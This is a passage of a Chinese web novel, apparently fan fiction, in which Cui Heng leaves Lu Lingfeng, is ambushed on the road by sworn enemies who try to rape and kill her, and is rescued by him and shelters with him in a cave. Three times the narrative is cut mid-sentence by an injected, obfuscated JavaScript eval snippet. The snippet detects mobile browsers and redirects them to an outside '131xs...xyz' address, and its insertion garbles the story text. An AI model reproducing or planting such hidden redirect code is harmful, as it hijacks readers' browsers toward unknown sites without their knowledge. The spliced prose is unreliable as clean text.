她要做的事太多了,她心上的人也太多……卢凌风若不能与她同路,便也只是一个过客,他自有自己的女主角去般配。 “小姐。” 门外传来敲门声,飞洛没进门,只在门口询问:“接到了公子的信,询问何时回去。” 崔蘅盯着手中的账本沉默着,一滴眼泪忽然“啪”地一声掉在纸面,将她刚写好的一行字洇成了墨花。 “等我算完这本账,就回去。” 崔蘅收到崔璋的信之后两天,便打算动身回长安了,此去一别,便真的不知同卢凌风何时再见。不为别的,卢凌风是被太子逐出长安的,这天下之大他哪里都能去,唯独不能回长安,崔蘅一直不肯回去也是这个原因,一旦她回了长安,那她同卢凌风就再也没有见面的机会。 不过在回去之前,还是该道个别的。 听说这段时间,他们把案子破了,崔蘅都怀疑,之前一直没破案,是不是就是因为缺少女主角的戏份。 崔蘅打算去看看那个石桥山,卢凌风曾经在信中提过石桥山很美,当时只觉得他是找借口,但来了南州之后,确实听说那里风景独特,十分好看。不过来这里之后,卢凌风整日忙着案子,连见面都没时间,更没同她来玩过,离开之前总得去看一眼。 崔蘅没带武奇和飞洛,一个人爬山上来,可惜她还没来得及看见美景,却先听到了声音。 “义兄!快来!” 崔蘅下意识皱了皱眉头,她这不会是幻听了吧,竟然听到喜君的声音。崔蘅慢慢往那块被叫作石桥的横石走去,然后她就看见了坐在石桥下绘图的裴喜君,这里人还挺齐的,苏无名、费鸡师,还有裴喜君那个小奴都在,卢凌风也在,他一个人站在树底下,看着远处,看视线是在看喜君画画。 这一刻崔蘅忽然觉得好像有什么死掉了,就是有些事情,心里知道和真实地看见感受还是不一样的。 她本来还以为,这个地方,卢凌风好歹会同她一起来,却原来他早就来过了,同他的女主角一起。 一阵风吹过,不知从哪里飘来了蒲公英,崔蘅下意识抬起手去捉那些毛茸茸地飘在空中的种子。不过她到底什么都没捉住,毛茸茸都飞走了。 “知意……” 卢凌风若有所觉地回头,便看到站在另一棵树下在玩那些毛茸茸的崔蘅,他没来由地觉得有些不好,崔蘅站在云雾间,一袭浅紫色的纱衣被风吹起,她飘飘欲仙,好像下一秒就要飞走了似的。 崔蘅听到声音,这才抬眼去看他,卢凌风站着没动,崔蘅也没想让他走过来,她几乎条件反射地勾起一个标准完美的微笑,并朝卢凌风颔首点头。这笑容让卢凌风感觉太熟悉了……她在那些世家大族的小姐夫人面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553164|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总是这样笑的。 只是,她唯独不会在自己面前这样笑。 “知意……你、你怎么……” “好巧啊,卢参军和苏司马都在。” 崔蘅打断卢凌风的话:“一直听说这里风景不错,等了这么久,还是决定来看看。” 崔蘅看着苏无名说完之后,视线移到卢凌风脸上:“卢参军,可否借一步说话?” 卢凌风立刻点头:“好,我们去那边。” 他指了一下水边的位置,崔蘅便随他一起走过去,卢凌风道:“我原本想找你一同来此处,只不过前段时间一直在忙案子……” “多谢好意,其实我自己也可以来。” 卢凌风嘴里的话忽然卡壳了一下,它猛地回过头,见崔蘅站在他不远处,微笑看着他:“我要回长安了,原本打算来这里看看,再同你道别。没想到这么巧,那就顺便道个别吧。” “……你要回长安?” “对啊,我出来也挺久了,兄长都写信催我回去了。” 崔蘅忽然想起什么似的,从怀里扯出一个锦囊,朝卢凌风递过去:“给你。” 卢凌风下意识接住,崔蘅朝卢凌风行了一个女子礼,道:“那就此别过了。” 崔蘅走出去挺远了,卢凌风才慢慢回过神,他觉得脑子里有些空,紧紧捏着那个锦囊,其实不必打开看,也能猜到是什么了。 她把他送的雁还回来了。 卢凌风有些不知道发生了什么事,但仔细想想,好像又能明白发生了什么。这段时间发生的事太奇怪了,直到刚才,这段时间……他好像完全忘记这个人了似的。 卢凌风反应过来,几乎条件反射地拔腿追过去:“等等!” 他跑得不慢,很快便追上了崔蘅,卢凌风一把抓住崔蘅的手臂,将她扯了回来,果然见她眼睛里蓄满了泪。她总是如此,掉眼泪也要背回身去的时候才掉,所以面对着他的时候,不论表现得多正常,都不正常。 “知意,你听我说……” 崔蘅皱紧眉头,一把将手抽了回来。崔蘅没说话,只一个眼神就叫卢凌风无法说出接下来的话了。 他好像确实没什么可说的,事实就是他完全把她忘了,约好的要一起来石桥山看看的,也是他同别的女子来看了。卢凌风此时才明白什么叫百口莫辩,换作任何一个人,遇到这种事,都会觉得是他移情别恋。 崔蘅也没再同他纠缠下去,还是保持着那种不紧不慢的速度,慢慢往山下走去。 崔蘅只是不想让他们结束得太不体面。 这结束已经够不体面了…… 32.险境 要回长安的事,崔蘅并没有叫上裴喜君,事情都发展成这样了,她早就无法以平常心对待,照她的做事风格,再待下去得把看着不爽的这些人一起宰了。 长安路远,崔蘅坐在马车上,总觉得出来时好像比回去时更慢。古时大家都不愿意远行,因为交通实在太不方便了,年纪稍微大点,身体稍微差点,说不定都能死在路上。每到这个时候,崔蘅就开始怀念现代的交通工具。 她有些怏怏地掀开马车帘子,窗外草木葱绿,已是夏初盛景,崔蘅看着满眼绿色,并没有觉得稍微好受点,只觉得这眼前晃来晃去的景晃得她很想吐。 “停车。” 崔蘅在马车里叫了一声,驾车的飞洛急忙勒紧缰绳:“小姐,怎么了?” 崔蘅没来得及说话,猛地撩开车帘,伏在一旁哇啦啦地吐了一地。她吐完之后,接过飞洛递过来的水漱了漱口,这才觉得舒服了些。 “小姐,你身体不舒服吗?要不要就近找个医馆看一下?” 崔蘅摇摇头:“不必,晕车而已。” 飞洛犹豫道:“那也找家旅店稍微休息一下吧。你以前都没有晕车的症状,怎么今天会吐了。” 崔蘅也有些迟疑,不过按照经验来说,她们还是远离城镇比较好,若泄露行踪,很容易被人追杀。崔蘅在这世上有很多仇人,不光是那些兄长在官场上得罪的人,还有师门的仇人。她刚进师门时,师父就跟她说过,她年轻时曾经结过仇,那人如今也成立了门派,见到他们门派的人就杀。那个门派里的人都是亡命之徒,干得是杀人越货的勾当,若遇到了,一定要小心。 不过自从崔蘅进入门派之后,倒从未遇见过那个传说中门派的针对性追杀,所以就连她自己都怀疑,这个门派到底是否存在。 崔蘅承认自己有赌的成分,主要是身体实在太难受了,这南方多雨,路上遇到的下雨天太多,才让她这般不舒服。所以最终她还是决定去附近镇上住一晚上。但是没想到他们就这么背,这一住就出问题了。 三人到了客栈,便先叫了一桌热食,想吃完直接去楼上房间休息。然而三人刚坐下,他们隔壁那桌便陆陆续续坐下来几个凶神恶煞的大汉,只看着都觉得吓人。武奇和飞洛皆警惕起来,武奇更是低声对崔蘅建议道:“姑娘,不如先上楼休息,饭菜我让店家送到你房间去。” 崔蘅也不想惹事,想了想同意了,她起身要去楼上,斜里伸出一条腿,挡住了她的去路。崔蘅皱眉看向挡住她的大汉,犹豫一下,想绕过去,那大汉却直接站起身,整个人挡在了她面前。 “如此穷乡僻壤,竟能遇到此等姿色的小娘子,我茆老八真是艳福不浅啊。” 武奇飞洛一听自家小姐被调戏,纷纷拔了刀,崔蘅原本就不舒服,又遇到这件事,火气蹭蹭冒上来——她分明都戴了面纱,怎么还能遇见这种性骚扰。所以她直接拔出自己常用的那把短刀,薄刃猛地压在那大汉肩头,崔蘅冷冷盯着他:“本小姐今天心情不好,别惹我。” 崔蘅的刀一掏出来,原本懒散坐在桌边的几名大汉,立刻站起身,为首一名面色冷肃,脸有刀疤的男子盯着她的刀沉声道:“你是新月派的弟子!” 崔蘅陡然一惊,抬眼看去,那大汉立刻一挥手:“抓住他们!” 崔蘅知道这是遇上仇家了,手上狠狠一划,立刻抹了那叫作茆老八的大汉的脖子,鲜血喷了崔蘅一脸。在场众人都没想到她会这样果断出手杀人,趁那些人愣住,崔蘅立刻吼道:“快跑!” ——能从她使的短刀便认出她是新月派,这些人必定是师父所说的“仇家”,这个门派的人武功都不低,他们人数又在优势,崔蘅才会直接杀了那人。如此一来,至少能将敌人的数量降低一下。 武奇与飞洛平日便习惯了听从崔蘅命令,见她如此果断出手,也不再留恋,行李都顾不上,拿起武器便跟着崔蘅冲出客栈。几人跑到马厩,随便找了几匹马,直接冲了出去。但是崔蘅这出其不意的一击也只让那些人愣住很短时间,他们很快便骑着马追了上来。这些人显然被崔蘅的行为激怒,大约平日里在外面打家劫舍时,被劫掠之人只有引颈就戮的份,没想到还能遇见这种反杀他们的,六七名大汉都气愤非常,疯狂驱策马匹追上来。 “飞洛,快放信号弹!” 崔蘅将腰间数枚信号弹扯出来一同点燃,绚烂的烟花带着尖锐鸣叫声钻入漆黑的天幕,炸成一朵亮红的牡丹。她释放信号弹也只是在绝境之下赌上最后的可能性,只期望周围有新月派的师兄妹或者黑甲卫恰好路过,这信号弹顶多只能传出十里,再远的人便看不见了。 武奇掩护他们逃跑,稍稍落在后面,飞洛则护着崔蘅打马往城外逃去。 他们原本也想往衙门逃的,但是那几个大汉似乎看出他们的意图,生生将他们后路堵死,几人只能拼命逃去城外。 崔蘅坐在马上被不断颠起来,颠得她眼前发黑,腹内酸水翻涌。又想吐了…… 他们这样逃了半个时辰左右,崔蘅的马支持不住了,跃过一片树林时,那马被枯枝绊了一下,长长嘶鸣一声,轰然倒地。崔蘅也从马上摔了下来,她急忙运起轻功缓冲了一下,在接近地面时还是摔下来,整个人滚出去老远,若非她反应迅速护住后脑,或许就撞在树上把自己撞晕了。 “小姐!” “飞洛!别停下!去搬救兵!” 崔蘅知道自己跑不了了,而且也知飞洛的马几乎到了极限,急忙朝他的马屁股上狠狠扔出一个石子,飞洛还没来得及下马,已经被马载着跑出去老远。崔蘅一个人站在树林中,几名壮汉很快骑着马围了上来。他们好似草原上围猎的那种猎人一般,骑着马绕着她转圈。崔蘅没了马,只能用轻功逃命,可是她终究体力有限,那些追她的人格外有毅力,紧紧咬在她身后穷追不舍,饶是崔蘅平日里心理素质强大,遇到这种情况也慌了神。她累得跑不动了,背抵着树干,只能将短刀拔出横在身前,警惕地盯着这些人。 那些人的包围圈越来越小,见崔蘅已经完全没有逃跑的可能性,几人发出嚣张大笑,听着十分刺耳,领头那人冷酷地盯着崔蘅:“我们跟新月派有大仇,见其弟子,必杀。今天这个还当面杀了我们的人,简直可恶至极!谁挑掉她的面纱,谁第一个玩,兄弟们,各凭本事!” 崔蘅见到他们神色之时,已经预想到这些人是什么货色,听到那人的话还是忍不住吓得面色惨白。她勉强稳住心神,一直在观察武奇的下落,她看了一圈没发现武奇,不知他到底是被甩下,还是被他们杀了…… 崔蘅走神这一瞬间,忽觉面上一凉,她的面纱被一柄长剑挑了下来,崔蘅猛地抬起头,身体忽然一轻已经被一人拦腰拉上了马。她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561329|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容貌只被其他人瞥见一眼,却已足够惊艳,崔蘅听到那些人发出兴奋的呼号声,将她拉上马的这人抓住她胸前的纱衣,扬手便去撕扯。崔蘅紧盯着对方,手中短刀猛地向前一划,贴着他的手臂刺出,她整个人往旁边一歪,直接从马上滚了下去。 崔蘅这次摔下马来来不及调整动作,被摔得整个胸腔都在震痛,她抱着手臂滚出去老远,短刀也摔落在地。那被他攻击的人竟然不以为忤,反而大声笑道:“这小娘皮真够辣的,老子喜欢!” “老二!你尽管逞强,别像老八一样被人家抹了脖子!” 众人顿时嘘声一片,但是他们似乎因为崔蘅的面纱是这个老二挑掉的,当真不来同他抢,只是围着崔蘅,免得她逃跑。崔蘅挣扎着想从地上爬起来,下一秒却被人直接扛了起来。那人是提着她的小腿直接拉起来的,崔蘅头朝下,只觉整片大地朝她扑来,终于没忍住,发出一声尖叫。听到她叫,这伙贼人立刻大笑起来。 “还是出点声有意思!” 崔蘅身上已经没有武器,他被那个老二扛起来狠狠摔在地上,崔蘅只觉眼前发黑,顿时失去反抗能力。这些人确实穷凶极恶,就是冲着玩死她来的,崔蘅现在已经不担心自己的清白了,她只知道若没有救兵,她今晚绝对会死在这里。 死相还会很难看。 那个老二把她摔在地上之后,整个人压了上来,一把扯烂她胸前的衣服,崔蘅并未挣扎,等那人低下头来,崔蘅一把抱住他的脖子,张大嘴狠狠往他颈动脉处咬去。她此时再无武器,只剩下指甲,牙齿……能做最后一搏。但是人类的牙齿终究不够锋利,她只将那人咬疼了而已,尽管她死死搂着他的脑袋不让他动弹,男女之间力量相差悬殊,不过须臾间,老二已经挣脱她的桎梏,直接一巴掌甩在崔蘅脸上。崔蘅被他打得眼冒金星,感觉自己脑浆都快迸出来了。 那贼人见崔蘅几乎失去反抗能力,开始撕扯她的衣服,这些畜生行为好像野兽一般,即便做这种事情也不避讳他人,竟想在此成事。脖子上被人掐住了,几乎无法呼吸,她视线开始变得模糊起来。崔蘅下意识紧紧攥住自己的衣襟,脑子里开始走马灯,反正这么多年都是多活下来的,死就死了……即便她死了,还有人继承她的意志…… 只不过下一秒,崔蘅忽然感觉身上喷洒了一泼温热液体,脖子上被掐住的力量陡然消失,崔蘅立刻捂着脖颈大口吸气,她视线恢复正常,发现压在他身上那个贼人正被一支银亮的枪头狠狠刺穿,从脑后入,额间刺出。崔蘅马上向前望去,果然见卢凌风坐在马上,手里正提着他那杆枪。 救兵到了……但是出乎意料,为什么是他来了? 崔蘅还在呆愣,卢凌风已经满脸怒容地打马上前,还不待她反应,卢凌风单手抓着马鞍,整个人身体倾斜,伸手一捞将崔蘅捞到了自己身前。崔蘅眼前一花,只觉腰上搂着她的那条手臂如同钢筋铁臂一般紧紧箍着自己,他的马还在向前飞奔。 是了……他是一个人来的,这里却还有四个贼人。 崔蘅几乎条件反射搂住卢凌风的腰,她试着开口,声音沙哑得像是破锣一般:“你怎么……” “有话等会再说!” 卢凌风隐忍的声音带动胸腔震动,却令崔蘅感到十分安心。她费力地抬头看他一眼,再也支撑不住,脑袋一歪,直接昏死了过去。 33.我们算扯平了好不好? 崔蘅半梦半醒间听到淅沥沥的雨声,她下意识将身体缩了缩,但是额头上很快便搭上来一片湿哒哒冰凉的布,将崔蘅惊醒了。她睁开眼睛,眼前的光晕由深转浅,然后消失,这才看清眼前那张紧紧蹙着眉头的脸。 崔蘅盯着他看了半晌,直到卢凌风伸手过来摸她的额头,崔蘅才开口:“你怎么在……怎么会来找我的?” 卢凌风轻轻吐出口气:“路上看到你的‘穿云箭’,便追过来,你那个皮肤黑的随从摔下马之后折了条腿,马跑没了,见到我才给我指了方向。” 崔蘅以前给师门内的其他人放信号弹时被卢凌风看到过,她当时打趣地说,这是他们门派的“穿云箭”。 ——你没听过吧,一支穿云箭,千军万马来相见。 她当时半是玩笑半是自豪地对卢凌风这样说,他却记在心里了。崔蘅说他们师门内不同的人所持信号弹是不一样的花色,遇到危急时刻才会拉响信号弹。当他看到夜空中代表崔蘅的红色牡丹一朵接一朵地绽放时,卢凌风都快急疯了。还好他赶得及…… 崔蘅此时也安下心来:“武奇还活着……太好了。” 卢凌风盯着她的脸,眉头紧皱:“还有时间关心别人,你看看你自己,都……” 他没说下去,只是伸手轻轻去碰触她的左脸。崔蘅身上伤很多,最显眼的就是脸上那个红肿的巴掌印,她细皮嫩肉的,被那贼人打了一巴掌,此时整张脸都肿起来了,嘴角还带着血丝,多看一眼都令人觉得揪心。 崔蘅扯扯唇角,似乎想笑,却没笑得出来。她躺在那里,终于注意到卢凌风身上氤氲开的血色,盯着他的肩膀道:“你受伤了?” “无碍。”卢凌风轻描淡写地说了一句,然后抓起一旁的外套搭在肩膀上,将伤口遮住。 崔蘅下意识皱起眉,越过卢凌风的肩头看向外面,漆黑的夜晚下着雨,雨丝打在草叶上沙沙作响。这里竟然只是一处洞口,连个客栈都不是。 “这是哪里……” 崔蘅撑着身体想坐起来,但是刚才掉下马摔了两次,到现在肋骨还在疼,卢凌风伸手将她扶起来。这洞口并不宽阔,卢凌风一直坐在她侧上方,此时崔蘅坐起身才发现,他整个人挡在洞口处,后背都被雨丝打湿了。崔蘅微微垂下眼睛,往洞口深处挪过去一点:“你往这边点,那里不避雨。” 卢凌风笑了一下,这才靠到她身边坐着,崔蘅伸手往他肩膀上轻轻碰了碰,道:“那伙贼人武功确实高强,你应付得也不轻松吧。” 卢凌风自嘲一笑:“何止不轻松,拼了半条命才逃出来。还好这里有一处凸出的平石,否则刚才掉下山崖时,我们俩都死定了。” 崔蘅听他轻描淡写地讲述这些经历,却听出惊心动魄,卢凌风竟然带着她一个昏迷过去的累赘掉下悬崖还能活下来,真不愧是男主角……崔蘅在心里跟自己开玩笑,喉头已经哽咽:“这种情况下,就不必救我了。” “反应过来时已经救下来了,总不能再扔出去。” 崔蘅被他逗笑,卢凌风犹豫一下,轻轻握住她的手:“那我们就扯平了,好不好?” 崔蘅疑惑地去看他,卢凌风见她没有将手抽回去,才用了点力握紧她的指尖:“我这次救了你一命,你不要再生我气了。” 崔蘅终于忍不住流下眼泪来:“哪有……哪有这样扯平的。” 卢凌风还没说话,崔蘅伸过手来,紧紧搂住他的腰。卢凌风轻嘶了一声,吓得崔蘅急忙松开手:“碰到伤口了?” 不过她马上被他按着脑袋压回来,卢凌风搂着崔蘅的肩膀叹了口气:“别动,我不疼。” 崔蘅终究还是没动,只是她不敢太用力地靠他,只松松地圈着卢凌风的腰,她等了一会儿,听到窸窸窣窣的声音,感觉他好像在往自己脖子上套什么东西。崔蘅低头看了一眼,发现是自己离开前塞给他的锦囊。那个锦囊上有一条绿色的挂绳,是挂在腰上的,被卢凌风这样给她套在脖子上,看起来有点搞笑。 崔蘅下意识抬手去摸那只锦囊,卢凌风立刻道:“不许拿下来。” 崔蘅愣了一下,还是听话地松开手,她靠在卢凌风肩膀上,抬着眼睛盯着他。卢凌风被她盯得有些不自在,似乎想移开视线,不过这个山洞很小,他躲也躲不到哪里去,便问:“要不要睡一会?” 崔蘅摇摇头,她想了半天,还是问出那个不敢问的问题:“你对喜君动心了吗?” 卢凌风忽然被口水呛到,一边咳嗽一边大声反驳:“怎么可能呢!你一点都不听我的解释!” 崔蘅把脸皱成一团:“我听你解释个大头鬼,写信时候写那么深情说石桥山很美让我快些回来,结果我回来把我晾到一边跟别人去,你甚至跟苏无名去,还有什么好解释的。” 卢凌风一方面对自己写信的内容觉得尴尬,一方面又不擅长解释,只好急忙抱住她,几乎有些讨饶道:“不是说好扯平的吗,不要再说了……” 崔蘅仰起头盯着他:“扯平是一回事,那我也要弄清楚事情的始末啊!这么重要的事你怎么能忘了,我一直等你来找我的……现在想起来还是很难过。” 卢凌风犹豫一下,脸上浮现出一种微妙的空白:“其实我也不太清楚……不知该如何解释,当时只是完全没想起这回事,总觉得有什么遗忘了,直到那天看到你时,才忽然想起来,我们约好了……我这样说你会不会觉得我在找借口?” 崔蘅听他的描述,心里却有些明白了,他这大概是进入剧情了。可是这种情况也只是猜测而已,身在剧情中的人,真的会这样进入剧情吗?那卢凌风是不是真都有可能因为剧情喜欢上他原本的官配……崔蘅很怕这种情况出现,万一哪天他忽然连她是谁都忘记了怎么办呢?那她可能就要忍不住杀人了。 崔蘅沉默着没说话,卢凌风不知她在想什么,以为崔蘅不信,他也并不怪她不信,这种话说出来,任谁都无法理解。卢凌风轻轻抚摸着崔蘅的头发,眉目间都是不虞。崔蘅注意到他的表情,轻轻叹了口气,她抬手搂住卢凌风的脖子,微微歪着头盯着他的眼睛:“我信你了,别再做这副表情,凶死了。” 卢凌风听她说自己凶有些生气,揽着她的腰带进怀中,低下头重重吻在崔蘅唇上:“闭嘴!” 卢凌风的伤有些严重,一直在流血,比起来崔蘅身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561330|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的伤倒是没那么厉害,虽然被摔了几下,但是目前看来好像没有生命危险。崔蘅身上的东西都在刚才拼杀时候掉得差不多了,根本找不到能止血的东西。此时就只有一个办法,就是按压包扎止血。 崔蘅将他的衣服一层层揭下来,才发现卢凌风的里衣早被鲜血浸透,额头上全是冷汗。他背上的伤口好像被什么东西刮下来一层肉一样,像是带着倒刺的鞭子抽的。卢凌风身手敏捷,应当是能躲开这种鞭子的,只是那时她坐在他身前,他若躲开,这一鞭说不定就抽在自己身上了。崔蘅不敢给他包扎了,她担心鞭子上会有锈迹,若再包进衣服里,无氧的环境下很容易让破伤风杆菌繁殖。她只能沾了点干净的雨水帮他将周围的水迹擦拭干净。可是他肩头那处伤口的血一直在流,这样流下去也会死人。崔蘅想了半天,终于抬起手,将手掌慢慢贴到卢凌风的伤口上。 那股熟悉的热流顺着他的伤口淌进身体里,顺着四肢百骸散开,深可见骨的伤口血肉处却在迅速愈合。崔蘅没办法让他的伤口完全愈合,血脉经络连接起来,不再流血之后,崔蘅就停下了,卢凌风诧异地回头看她,却见崔蘅忽然侧头呕出一大口血。 “知意!” 崔蘅扶着他的肩膀,慢慢滑坐在卢凌风怀里,闭上眼睛急促地喘息着:“没事,死不了……” 她缓了半天,才道:“这样一来,我们就都死不了,至少能坚持到别人来救。” 崔蘅会的那点内力连皮毛都算不上,这次同上次给卢凌风烤干衣服可不一样,是真的气血逆行伤筋动骨了。但是这种条件下也没办法,这样他们两个都变成半死不活,好歹能拖一点时间。 接下来的时间里,崔蘅就好像被封印住了似的,动都动不了一下,只是她总是觉得渴,听着外面的雨声,崔蘅虚弱地去抓卢凌风的衣服:“弄点水给我。” 卢凌风见她嘴唇干燥得起皮,急忙伸手去接雨水往她嘴巴里喂。崔蘅嘴唇碰到冷水,冰得哆嗦一下,然后把脸扭开不肯喝。她耗费内力本来就压制不了身上的寒毒,让她喝冷水,还不如杀了她。可是这里虽然有火,却并没有能烧水的器皿,卢凌风想了半天,将雨水含进口中,含热了才喂给她。 崔蘅有些犯迷糊,察觉到卢凌风在做什么,把脸埋在他怀里哼唧:“坏人……给我喝你的口水,不要。” 卢凌风气得青筋直跳,直接捏着崔蘅的脸强迫她张开嘴,然后将水渡过去:“再胡说八道把你扔出去喝雨水。” 崔蘅终于觉得不渴了,总算消停下来,卢凌风听到她忽然说:“你可以不当男主角吗?” 卢凌风没听懂,低下头去看她,见崔蘅皱着眉,像在做梦:“在说什么梦话?” “不是梦话,我说我不喜欢你当男主角……因为我不是女主角。” 卢凌风哪能听懂这没头没脑的一句话,崔蘅很快便不说了,她好像很难受,在他怀里蜷缩成一团,声音也变得很小很轻:“卢凌风,我肚子疼。” 卢凌风急忙去摸她的肚子:“受伤了?还是中毒?” 崔蘅觉得他一直问好烦,抓着他的手按在自己小腹上:“完了……好像痛经啊。” 34.保胎还是打胎? 崔蘅不知自己睡了多久,后面是被一阵嘈杂的声音吵醒的,好像有人在搬动自己。她睁开眼睛,看见飞洛朝自己这边伸出手,但是她的身体却马上平移着躲开了他的手,一道夹杂着怒气的男声在头顶响起:“走开,废物!” 飞洛被他骂了一句,眼睛都红了,崔蘅低头看了一眼,见自己正被卢凌风抱在怀里,她身上盖着他的外套。崔蘅这才想起来,之前被人扯烂了衣服,估计是救他们的人来了,卢凌风才用外套把她包起来了。 飞洛气急,只能跟在卢凌风身后骂道:“你这狂徒,放开我们家小姐!” 他想得很简单,平日里卢凌风跟崔蘅关系如何他这做随从的管不着,但是如果他这样将崔蘅从山洞里抱出去,被旁人看见,崔蘅的名声就毁了。外面还守着那么多人,怎么可以让卢凌风这个陌生男人做这种事。不过卢凌风也不想让飞洛抱,她现在这样衣衫不整,即使是她的护卫,那也是男子,怎么能随便抱。更何况卢凌风现在对崔蘅的两个护卫一肚子火,自然不会给他好脸色。 崔蘅在他怀里吐出口气,微微皱起眉:“你们吵什么……” 卢凌风见飞洛跟着过来,冷哼一声,只对崔蘅道:“你这些护卫简直就是废物,遇到危险把主子扔下自己跑了,若是我,就找个硬点的墙一头撞死。” 飞洛听了涨得满脸通红:“你……!” 但是他也没法反驳,那时崔蘅命令他去找救兵,他竟然就跑了,他应该坚决跟他家小姐同生共死。崔蘅见此情况,只好虚弱地出声:“是我让他去搬救兵的……留下来也只能送死,你别再骂他了。” 卢凌风抿紧唇,面色阴沉沉的:“所以才说他废物,两个都是废物。你带着这样两个人上路有何用,遇到危险根本保护不了你。” 卢凌风一边说一边再次躲开飞洛的手,抱着崔蘅大步朝前走去。他抬头看到外面的人,皱了皱眉,低声对崔蘅道:“将衣服拉起来。” 崔蘅看了他一眼,虽然自己不是很在意这些,但见卢凌风看着她,还是乖乖把他的外套向上拉起,一直盖到头顶。崔蘅躲在他外套里眨了眨眼,小声嘀咕道:“卢将军熏的什么香?” 卢凌风疑惑道:“什么?” 崔蘅闭上眼睛抬头往他外套上轻轻嗅了嗅:“过了一晚上,你的衣服上还是香香的。” 卢凌风被她说得有些不自在:“……你别说话。” 崔蘅忍不住笑了一下,见他终于不再沉着张脸凶巴巴的了,将脑袋靠在卢凌风怀里,果真不再说话了。卢凌风虽是武将,但终究是世家公子,世家那一套家风规训,终究还是在他行为习惯上留下了痕迹。大唐的男人们也是讲究容貌衣着的,邋里邋遢会被视为失礼,所以平时卢凌风所穿衣服洗干净了就会熏香,只是为了不让自己看起来失礼。不过男子熏香只是为了让自己不要闻起来有异味,被崔蘅说他身上香,还是会觉得不好意思。崔蘅说这些自然是故意逗他的,只是不想看他总是皱着眉头…… 卢凌风将崔蘅放到马车里面,自己也跟着跳上了车,其实他平时是不太会主动同崔蘅坐一辆车的,但是此刻并不愿意让她离开自己的视线,总觉得只要稍微不看着,她就会出事。崔蘅盖着他的衣服缩在车厢角落里,卢凌风就坐在她身边,让崔蘅靠在自己肩膀上。崔蘅有些没精打采的,卢凌风看着她问道:“之前你说肚子疼,现在如何了?” 崔蘅摇摇头:“没有之前那么疼,但是还是隐隐有些疼。” 卢凌风皱眉道:“何为痛经?为何你一副早就习惯了这种疼痛的样子?可是中毒所致?” 崔蘅忽然睁大眼睛,新奇地看着卢凌风,后者却一脸严肃:“你看我做什么,回答。之前看你精神不济才没问,现在别想糊弄过去。” “……这个,你好像确实不清楚,就是女子每个月会来癸水,有些人这种时期便会腹痛难忍,称之为痛经。嗯……一般轻症的我们都忍忍就过去了。” 卢凌风终于明白她说的是什么意思,原本只是略尴尬的脸上瞬间红透了。 “这……这……你怎么,什么话都说给我听。” 崔蘅撇撇嘴:“不是你问的嘛!一副我隐瞒你就决不罢休的样子……那我不说给你听,疼死我好了。” “胡说。” 卢凌风轻声责怪道,他见崔蘅的脸色确实有些苍白,轻轻揽过她:“那该如何?是否要吃药?” 崔蘅微微皱起眉头,拉着他的手放在自己小肚子上:“你体温高,帮我暖和一下。” 她一边说着,心里其实十分疑惑,因为除了肚子疼以外,好像并没有生理期的症状。如果真的是生理期肚子疼,大概都血流成河了。崔蘅心里疑惑,卢凌风却不知这些,只是听话地把手放在她小腹上。崔蘅看着他,见他视线只定定落在马车帘子上,整个人一动不动地僵着,忽然凑近一点看着他:“你干嘛,被人点穴了?” 卢凌风瞥她一眼没说话,崔蘅笑着往他身上靠:“你不会吧卢凌风……咱俩该干的不该干的都干了,现在在我面前装清纯。” 卢凌风听她这副调侃的语气,倒是放松了一点,故作镇定地顺势把她搂在怀里:“等下让老费帮你把把脉吧,总不能一直这样疼。” 崔蘅随意应着,心里却不以为意,她中那么严重的寒毒,身体本就寒凉,痛经太正常了。 “别这么僵着,手动一下,给我揉揉。” 卢凌风依言捂着她的小腹轻轻揉起来,皱眉问道:“如何?” 崔蘅笑嘻嘻地抱住他的脖子:“嘿嘿……好多了,卢凌风你真好——” “你……你乖乖坐好!别爬上来!” 马车终于晃晃悠悠回到南州,卢凌风可不放心再让崔蘅一个人回长安了,强行把她又带回来了。但是崔蘅死活不同意跟他一起住司马府,宁愿暂时找家客栈待着。崔蘅不至于记仇,但是也没那么大度,她还记得裴喜君之前搬过去跟他们一起住了,她才不要去。卢凌风估计也想明白她在纠结什么,只好道:“叫你那个废物随从进来。” 崔蘅躺在床上抱着汤婆子不想动弹:“叫他做什么……人家叫飞洛,不要总骂人家废物。” 卢凌风重重喷出一口气,皱眉道:“当然是让他去司马府请费鸡师过来,你又不肯去。” 